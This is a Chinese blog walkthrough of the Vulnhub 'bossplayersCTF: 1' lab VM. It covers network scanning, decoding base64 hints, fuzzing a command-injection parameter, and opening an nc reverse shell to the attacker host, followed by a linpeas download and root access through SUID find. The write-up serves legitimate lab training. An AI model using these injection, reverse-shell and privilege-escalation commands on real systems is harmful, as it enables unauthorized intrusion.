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Vulnhub之bossplayersCTF 1靶机详细测试过程

时间：2022-12-01 22:24:39浏览次数：47  
标签：http kali 192.168 bossplayersCTF sh Vulnhub 靶机 root usr

bossplayersCTF: 1

作者：jason_huawen

靶机基本信息

名称：bossplayersCTF: 1

地址：

https://www.vulnhub.com/entry/bossplayersctf-1,375/

提示：Aimed at Beginner Security Professionals who want to get their feet wet
into doing some CTF's. It should take around 30 minutes to root.

识别目标主机IP地址

──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ sudo netdiscover -i eth1
 Currently scanning: 192.168.84.0/16   |   Screen View: Unique Hosts                                                         
                                                                                                                             
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:0a      1      60  Unknown vendor                                                            
 192.168.56.100  08:00:27:f3:da:85      1      60  PCS Systemtechnik GmbH                                                    
 192.168.56.247  08:00:27:39:e5:5e      1      60  PCS Systemtechnik GmbH

利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.247

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.247 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-01 08:11 EST
Nmap scan report for bogon (192.168.56.247)
Host is up (0.000072s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA)
|   256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA)
|_  256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:39:E5:5E (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds

NMAP扫描结果表明目标主机有2个开放端口：22（SSH）、80（HTTP）

获得Shell

┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ curl http://192.168.56.247/          
 <!DOCTYPE html>
<html>
<body>

<h2>bossplayers CTF - created by Cuong Nguyen</h2>
<p>Difficulty Level: [* ] [ ] [ ] [ ] [ ]</p>
<p>Description: Hello! Extremely easy CTF that I created for those who want to get their feet wet. Have a methodology and avoid the rabit holes! I hope you enjoy this and most importantly, please have fun!</p>
<p>Website: sudocuong.com</p>


</body>
</html> 


 <!--WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK-->

访问80端口返回页面源代码中国有注释：

用cyberchef工具进行解码，进行了3层base64编码，解码以后得到：

workinginprogress.php

──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ curl http://192.168.56.247/workinginprogress.php

<html>
<body>

<h3>System Install:</h3>
<p>Linux Debian - [*]</p>
<p>APACHE2 - [*]</p>
<p>PHP - [*]</p>



<h3>Outstanding:</h3>
<p>Test ping command - [ ]</p>
<p>Fix Privilege Escalation - [ ]</p>

<h3>Completed:</h3>
<p>Say Hi to Haley - [*]</p>


</body>
</html>

这里是不是表明用户名是haley?

──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ curl http://192.168.56.247/robots.txt           
super secret password - bG9sIHRyeSBoYXJkZXIgYnJvCg==
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ echo 'bG9sIHRyeSBoYXJkZXIgYnJvCg==' -n | base64 -d
lol try harder bro
base64: invalid input
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ echo 'bG9sIHRyeSBoYXJkZXIgYnJvCg=='  | base64 -d 
lol try harder bro


                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ gobuster dir -u http://192.168.56.247 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.247
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/12/01 08:17:56 Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 302]
Progress: 218950 / 220561 (99.27%)===============================================================
2022/12/01 08:18:22 Finished
===============================================================

没有扫描出任何目录。

┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ gobuster dir -u http://192.168.56.247 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.247
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Extensions:              txt,php,html,sh
[+] Timeout:                 10s
===============================================================
2022/12/01 08:19:11 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 293]
/index.html           (Status: 200) [Size: 575]
/.html                (Status: 403) [Size: 294]
/robots.txt           (Status: 200) [Size: 53]
/logs.php             (Status: 200) [Size: 34093]
/.php                 (Status: 403) [Size: 293]
/.html                (Status: 403) [Size: 294]
/server-status        (Status: 403) [Size: 302]
Progress: 1100003 / 1102805 (99.75%)===============================================================
2022/12/01 08:21:29 Finished
=============================================================

发现了/logs.php文件，但是访问该文件，返回似乎是系统的一些日志信息。

workinginprogress.php提示有Ping命令，因此该页面应该有命令执行，用wfuzz FUZZ出参数：

┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ wfuzz -c -u http://192.168.56.247/workinginprogress.php?FUZZ=id -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  --hw 36
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.247/workinginprogress.php?FUZZ=id
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                      
=====================================================================

000005340:   200        25 L     39 W       325 Ch      "cmd"

进行模糊测试，参数为cmd,并手动确认一下：

┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ curl http://192.168.56.247/workinginprogress.php?cmd=id

<html>
<body>

<h3>System Install:</h3>
<p>Linux Debian - [*]</p>
<p>APACHE2 - [*]</p>
<p>PHP - [*]</p>



<h3>Outstanding:</h3>
<p>Test ping command - [ ]</p>
<p>Fix Privilege Escalation - [ ]</p>

<h3>Completed:</h3>
<p>Say Hi to Haley - [*]</p>


</body>
</html> 

uid=33(www-data) gid=33(www-data) groups=33(www-data)

下一步设法获得shell,因此利用命令执行漏洞测试一下nc等是否可用？

┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ curl http://192.168.56.247/workinginprogress.php?cmd=which%20nc

<html>
<body>

<h3>System Install:</h3>
<p>Linux Debian - [*]</p>
<p>APACHE2 - [*]</p>
<p>PHP - [*]</p>



<h3>Outstanding:</h3>
<p>Test ping command - [ ]</p>
<p>Fix Privilege Escalation - [ ]</p>

<h3>Completed:</h3>
<p>Say Hi to Haley - [*]</p>


</body>
</html> 

/usr/bin/nc

在浏览器中方法下面的地址获得shell:

http://192.168.56.247/workinginprogress.php?cmd=nc%20-e%20/bin/bash%20192.168.56.206%205555

┌──(kali㉿kali)-[~/Vulnhub/bossplayersCTF]
└─$ sudo nc -nlvp 5555
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.247] 36778
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python
/usr/bin/python
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bossplayers:/var/www/html$

成功获得shell

提权

将Linpeas.sh脚本上传至目标主机/tmp目录，修改权限，并执行脚本：

www-data@bossplayers:/var/www/html$ cd /tmp
cd /tmp
www-data@bossplayers:/tmp$ wget http://192.168.56.206:8000/linpeas.sh
wget http://192.168.56.206:8000/linpeas.sh
--2022-12-02 00:55:53--  http://192.168.56.206:8000/linpeas.sh
Connecting to 192.168.56.206:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 765823 (748K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 747.87K  --.-KB/s    in 0.003s  

2022-12-02 00:55:53 (239 MB/s) - 'linpeas.sh' saved [765823/765823]

www-data@bossplayers:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@bossplayers:/tmp$ ./linpeas.sh
./linpeas.sh


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
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         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
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         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------\
    |                             Do you like PEASS?                            |                                             
    |---------------------------------------------------------------------------|                                             
    |         Become a Patreon    :     https://www.patreon.com/peass           |                                             
    |         Follow on Twitter   :     @carlospolopm                           |                                             
    |         Respect on HTB      :     SirBroccoli                             |                                             
    |---------------------------------------------------------------------------|                                             
    |                                 Thank you!                                |                                             
    \---------------------------------------------------------------------------/                                             
          linpeas-ng by carlospolop                                                                                           
                                                                                                                              
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.                                                                                                
                                                                                                                              
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                      
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

linpeas.sh输出结果中：

═════════════════════════════════════════╣ Interesting Files ╠═════════════════════════════════════════                       
                                         ╚═══════════════════╝                                                                
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                                                   
strings Not Found                                                                                                             
strace Not Found                                                                                                              
-rwsr-xr-x 1 root root 51K Jan 10  2019 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8   
-rwsr-xr-x 1 root root 35K Jan 10  2019 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 83K Jul 27  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63K Jan 10  2019 /usr/bin/su
-rwsr-xr-x 1 root root 44K Jul 27  2018 /usr/bin/chsh
-rwsr-sr-x 1 root root 195K Jan  8  2019 /usr/bin/grep
-rwsr-xr-x 1 root root 53K Jul 27  2018 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 63K Jul 27  2018 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                                                                                      
-rwsr-sr-x 1 root root 309K Feb 16  2019 /usr/bin/find
-rwsr-xr-x 1 root root 44K Jul 27  2018 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-- 1 root messagebus 50K Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 427K Apr  8  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10K Mar 28  2017 /usr/lib/eject/dmcrypt-get-device

利用find命令的SUID位进行提权，参照GTFOBINS网站给的方法进行提权：

www-data@bossplayers:/tmp$ /usr/bin/find . -exec /bin/sh -p \; -quit
/usr/bin/find . -exec /bin/sh -p \; -quit
# cd /root
cd /root
# ls -alh
ls -alh
total 24K
drwx------  2 root root 4.0K Sep 28  2019 .
drwxr-xr-x 18 root root 4.0K Sep 28  2019 ..
-rw-------  1 root root  929 Sep 28  2019 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root  148 Aug 18  2015 .profile
-rw-r--r--  1 root root   25 Sep 28  2019 root.txt
# cat root.txt
cat root.txt
Y29uZ3JhdHVsYXRpb25zCg==
#

成功拿到root flag.

经验教训

  1. 第一直接是正确的，就是有命令执行漏洞可以利用，因为作者提到了ping，但是在做牧户测试时，FUZZ=test,因为test不是实际的命令，导致即使FUZZ到了正确的参数名称，返回与不正确参数返回是一样的，也就是说发现不了正确的参数命令，正确的命令执行模糊测试就是FUZZ=id， 而在做本地文件包含测试时为FUZZ=../../../../../../etc/passwd

  2. 作者提到的Rabbithole应该就是haley，假设它为用户名，然后用hydra进行破解

标签：http,kali,192.168,bossplayersCTF,sh,Vulnhub,靶机,root,usr
From： https://www.cnblogs.com/jason-huawen/p/16942977.html

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